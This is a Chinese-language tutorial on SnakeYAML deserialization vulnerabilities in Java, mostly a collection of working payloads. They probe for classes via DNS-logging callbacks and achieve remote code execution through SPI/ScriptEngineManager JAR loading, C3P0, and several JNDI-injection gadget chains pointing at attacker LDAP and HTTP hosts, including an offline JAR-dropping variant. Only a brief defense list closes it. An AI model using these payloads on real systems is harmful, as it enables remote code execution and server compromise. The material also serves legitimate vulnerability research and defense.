Java安全SnakeYaml组件中类的探测到反序列化在SPI/C3P0/FastJson的利用
字数 829 2025-08-25 22:58:20
SnakeYAML反序列化漏洞分析与利用
反序列化探测技术
使用URLClassLoader探测
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";
使用Key调用hashCode方法探测
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
- 利用原理:HashMap处理时会调用key的hashCode方法
- 适用于触发URLDNS链的探测
探测内部类
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
- 如果反序列化不报错,说明类存在
{}表示无参构造,[]用于有参构造
语法技巧
替代!!指定类的方法
- 使用
!<>结合:
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://tcbua9.ceye.io/"]]]]
- 要求类有单参构造器
- 使用
%TAG声明:
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://tcbua9.ceye.io/"]]]]
- 支持多参数构造
SnakeYAML反序列化原理
- 工作机制:
Yaml.load():将YAML转为Java对象Yaml.dump():将对象转为YAML格式
- 反序列化过程:
- 创建
StreamReader读取输入 - 通过
Composer创建节点 - 使用
Constructor构造对象 - 反射实例化类并设置属性
- 创建
利用链分析
1. SPI机制利用链(ScriptEngineManager)
POC:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/a.jar"]]]]
利用条件:
- 需要提供包含
META-INF/services/javax.script.ScriptEngineFactory的恶意JAR
不出网利用:
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/tmp/yaml-payload.txt"],false],!!java.util.zip.Inflater { input: !!binary [BASE64编码的JAR] },1048576]]
!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.txt"]]]]
2. C3P0利用链
JndiRefForwardingDataSource
!!com.mchange.v2.c3p0.JndiRefForwardingDataSource {
jndiName: "ldap://127.0.0.1:8888/EvilObject",
loginTimeout: "0"
}
WrapperConnectionPoolDataSource(不出网)
// 生成CC4链的序列化数据
PriorityQueue queue = CommonsCollections4();
String hexString = //...序列化数据转为HEX
String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap: " + hexString + "\"}";
3. Fastjson相关利用链
JdbcRowSetImpl
!!com.sun.rowset.JdbcRowSetImpl {
dataSourceName: "ldap://127.0.0.1:8888/EvilObject",
autoCommit: "true"
}
OracleJDBCRowSet
!!oracle.jdbc.rowset.OracleJDBCRowSet {
dataSourceName: "ldap://localhost:9999/Evil",
command: "a"
}
JndiDataSourceFactory
!!org.apache.ibatis.datasource.jndi.JndiDataSourceFactory {
properties: {
data_source: "ldap://127.0.0.1:9999/Evil"
}
}
PropertyPathFactoryBean
!!org.springframework.beans.factory.config.PropertyPathFactoryBean {
targetBeanName: "ldap://127.0.0.1:9999/Evil",
propertyPath: "xxx",
beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory {
shareableResources: ["ldap://127.0.0.1:1099/Exploit"]
}
}
BadAttributeValueExpException
!!javax.management.BadAttributeValueExpException [
!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [
"foo",
!!javax.naming.Reference [
"foo",
"Evil",
"http://127.0.0.1/"
],
!!org.apache.xbean.naming.context.WritableContext []
]
]
ConfigurationMap
!!org.apache.commons.configuration.ConfigurationMap [
!!org.apache.commons.configuration.JNDIConfiguration [
!!javax.naming.InitialContext [],
"ldap://127.0.0.1:9999/Evil"
]
]: 1
防御建议
- 使用
Yaml的安全配置:
Yaml yaml = new Yaml(new SafeConstructor());
-
限制反序列化的类白名单
-
升级SnakeYAML到最新版本
-
禁用危险的YAML特性